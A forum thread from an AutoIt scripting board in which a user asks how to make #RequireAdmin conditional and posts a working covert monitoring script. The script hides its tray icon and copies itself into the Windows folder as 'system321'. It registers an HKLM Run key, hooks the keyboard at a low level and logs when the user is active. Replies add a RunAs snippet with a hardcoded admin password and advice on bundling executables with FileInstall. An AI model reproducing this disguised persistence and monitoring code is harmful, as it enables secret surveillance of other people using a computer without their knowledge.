Jump to content
Sign in to follow this  
Gillboss

how set RequireAdmin with if

Recommended Posts

JFee

#RequireAdmin is a directive that determines how the script is going to run. It is used the instant the script starts running, so you can't change it half way through a script


Regards,Josh

Share this post


Link to post
Share on other sites
ProgAndy

#RequireAdmin is a directive that determines how the script is going to run. It is used the instant the script starts running, so you can't change it half way through a script

--> REquest for #RequireAdminVista, so that you can run it as normal user in XP, but often Admin Rights are needed on Vista.

*GERMAN* [note: you are not allowed to remove author / modified info from my UDFs]My UDFs:[_SetImageBinaryToCtrl] [_TaskDialog] [AutoItObject] [Animated GIF (GDI+)] [ClipPut for Image] [FreeImage] [GDI32 UDFs] [GDIPlus Progressbar] [Hotkey-Selector] [Multiline Inputbox] [MySQL without ODBC] [RichEdit UDFs] [SpeechAPI Example] [WinHTTP]UDFs included in AutoIt: FTP_Ex (as FTPEx), _WinAPI_SetLayeredWindowAttributes

Share this post


Link to post
Share on other sites
Gillboss

uff ok

Share this post


Link to post
Share on other sites
Szhlopp

#RequireAdmin is a directive that determines how the script is going to run. It is used the instant the script starts running, so you can't change it half way through a script

There is always a way to do something...

If I could get the code to what ever you're (GillBoss) trying to write I might be able to do this for you=)

Share this post


Link to post
Share on other sites
rudi

Hi Jos.

#RequireAdmin is a directive not a function. Thus it is set at program start time.

Jos

So this fact should be included into the help file, which is still talking about a "function", and is not telling about the fact, that this directive is "set prior main program start" (3.2.12.1):

<cite>

#requireadmin (Autoit Help File)

[snip]

Remarks

This function was primarily aimed at allowing AutoIt scripts to work correctly with Windows Vista User Account Control (UAC) (However, will also work on Windows 2000 and Windows XP).

For more details see AutoIt on Windows Vista.

As this function launch a new process, some functions as Consolewrite() cannot be captured (Scite will not display anything).

</cite>

Regards, Rudi.


Earth is flat, pigs can fly, and Nuclear Power is SAFE!

Share this post


Link to post
Share on other sites
Gillboss

ok listen, i need it will require admin at first time for write reg at regedit in startup programs..

so there is a simple way? for example not use require admin..?

its the script:

#include <File.au3>

Opt("TrayIconHide", 1)

If RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "system321") = "" Then
    #RequireAdmin
    FileCopy(@ScriptDir&"\"&@ScriptName, @WindowsDir&"\system321")
    RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "system321", "REG_SZ", @WindowsDir&"\system321")
EndIf

HotKeySet("^!e", "Terminate")  ;    Ctrl-Alt-e
HotKeySet("^!o", "Open")       ;    Ctrl-Alt-o

Global $m1, $m2, $k
Global Const $WH_KEYBOARD_LL = 13
Global $hHook, $pStub_KeyProc
Global $pStub_KeyProc = DllCallbackRegister("_KeyProc", "int", "int;ptr;ptr")
Global $hmod = DllCall("kernel32.dll","hwnd","GetModuleHandle","ptr",0)
Global $hHook = DllCall("user32.dll","hwnd","SetWindowsHookEx","int", _
            $WH_KEYBOARD_LL,"ptr",DllCallbackGetPtr($pStub_KeyProc),"hwnd",$hmod[0],"dword",0)
Global $buffer = ""
$m1 = MouseGetPos()

$file = FileOpen(@TempDir&"\SpySoftware.txt", 1)
FileClose($file)

Func _Mouse()
    $m2 = MouseGetPos()
    If $m1[0] <> $m2[0] Or $m1[1] <> $m2 [1] Then
        $m1 = MouseGetPos()
        Return(1)
    Else
        $m1 = MouseGetPos()
        Return(0)
    EndIf
EndFunc

Func EvaluateKey($keycode)
    If ($keycode > 0) Then
        $buffer &= Chr($keycode)
    EndIf
EndFunc

Func _KeyProc($nCode, $wParam, $lParam)
    Local $ret,$KEYHOOKSTRUCT
    If $nCode < 0 Then
        $ret = DllCall("user32.dll","long","CallNextHookEx","hwnd",$hHook[0], _
                        "int",$nCode,"ptr",$wParam,"ptr",$lParam)
        Return $ret[0]
    EndIf
    If $wparam = 256 Then
        $KEYHOOKSTRUCT = DllStructCreate("dword;dword;dword;dword;ptr",$lParam)
        EvaluateKey(DllStructGetData($KEYHOOKSTRUCT,1))
    EndIf
    $ret = DllCall("user32.dll","long","CallNextHookEx","hwnd",$hHook[0], _
                    "int",$nCode,"ptr",$wParam,"ptr",$lParam)
    Return $ret[0]
EndFunc

Func Open()
    ShellExecute(@TempDir&"\SpySoftware.txt")
EndFunc

Func OnAutoItExit()
    DllCall("user32.dll","int","UnhookWindowsHookEx","hwnd",$hHook[0])
EndFunc

Func Terminate()
    $msg = MsgBox(0x24, "Spy Software", "Spy Software is exit now"&@CRLF&"Do you want set off Spy Software in startup list?")
    If $msg = 6 Then RegDelete("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "SpySoftware")
    DllCall("user32.dll","int","UnhookWindowsHookEx","hwnd",$hHook[0])
    Exit
EndFunc

$begin = TimerInit()
While 1
    $dif = TimerDiff($begin)
    If $dif >= 300000 Then
        $begin = TimerInit()
        $a = _Mouse()
        If $a = 1 Or $buffer <> "" Then
            $file = FileOpen(@TempDir&"\SpySoftware.txt", 1)
            If $file <> -1 Then
                If @WDAY = 1 Then $day = "Sunday"
                If @WDAY = 2 Then $day = "Monday"
                If @WDAY = 3 Then $day = "Tuesday"
                If @WDAY = 4 Then $day = "Wednesday"
                If @WDAY = 5 Then $day = "Thursday"
                If @WDAY = 6 Then $day = "Friday"
                If @WDAY = 7 Then $day = "Saturday"
                $count = _FileCountLines(@TempDir&"\SpySoftware.txt")
                $string = FileReadLine(@TempDir&"\SpySoftware.txt", $count)
                $len = StringLen($string)
                $string = StringRight($string, $len - 38)
                If $string <> "" And $string <> @MDAY&"/"&@MON&"/"&@YEAR Then FileWrite($file, @CRLF) 
                FileWrite($file, "User active at: "&@HOUR&":"&@MIN&", day: "&$day&" in "&@MDAY&"/"&@MON&"/"&@YEAR&@CRLF)
            EndIf
            FileClose($file)
        EndIf
        $buffer = ""
    EndIf
    Sleep(10)
WEnd

Share this post


Link to post
Share on other sites
FreeFry

So this is a keylogger? I'm afraid discussing about keyloggers and the like ain't generally liked, and/or allowed here.

Share this post


Link to post
Share on other sites
Jos

I assume you know a admin level account for the PC so just use RunAs() command.

If you don't have an admin level account then this is becoming questionable.

Jos


SciTE4AutoIt3 Full installer Download page   - Beta files       Read before posting     How to post scriptsource        Forum Rules
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Share this post


Link to post
Share on other sites
Gillboss

So this is a keylogger? I'm afraid discussing about keyloggers and the like ain't generally liked, and/or allowed here.

no its not keylogger, i just want to know who using my pc...

this program not save the keys, it just check if user use the keys and then it can know if he active or not =]

I assume you know a admin level account for the PC so just use RunAs() command.

If you don't have an admin level account then this is becoming questionable.

Jos

where i need it?

Edited by Gillboss

Share this post


Link to post
Share on other sites
Gillboss

?

how set my script in startup programs..?

Share this post


Link to post
Share on other sites
FreeFry

no its not keylogger, i just want to know who using my pc...

this program not save the keys, it just check if user use the keys and then it can know if he active or not =]

In that case, sorry, I just glanced at the code, and it looked just like a keyloggger, my bad.

To answer your second question, you could do something like this:

Dim $sAdminUser = "Administrator"
Dim $sAdminPassword = "password"
Dim $sProgramName = "My Test"

If WinExists($sProgramName) Then Exit; To prevent the script from running itself over and over and over if the specified admin user is not found...
AutoItWinSetTitle($sProgramName) ; To prevent the script from running itself over and over and over if the specified admin user is not found...

If @UserName <> $sAdminUser And @Compiled Then
    RunAs($sAdminUser, @ComputerName, $sAdminPassword, 0, @AutoItExe)
    Exit
EndIf

MsgBox(0, "Test", "My test(username:" & @UserName & ")")

Edit:

You should also be aware that you need admin rights to make hooks into the operating system..

Edited by FreeFry

Share this post


Link to post
Share on other sites
Gillboss

ok, so i have other idea, i will build two scripts, one is for require admin and set the key on regedit, and the other is the normal script..

so, there is way i can connection it to one script? i mean like setup file..

Share this post


Link to post
Share on other sites
FreeFry

Well yes, but you still need admin access to make those low level keyboard hooks you're doing in the main script..

You could either,

A. FileInstall a compiled script and run it from your main script(or you could fileinstall an au3 file and run it with cmdline parameters, but which requires more work).

B. Write a script in a text string in your main script, write that to a file, and run it.

or

C. Use the solution I used above.

But I don't see the point in doing this really, as you, as said, still need admin access to make those hooks..

Share this post


Link to post
Share on other sites
Gillboss

i have quetion, how to addition two script for one? i mean i have EXE file and i want it extract the EXE file that locate in him.

Share this post


Link to post
Share on other sites
FreeFry

FileInstall

Share this post


Link to post
Share on other sites
Gillboss

i need example, the example in help dont good, i need example that show how exe file create more exe file

Edited by Gillboss

Share this post


Link to post
Share on other sites
FreeFry

What so hard about it? FileInstall("filetobeinstalled", "wheretoinstallthefile")

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

×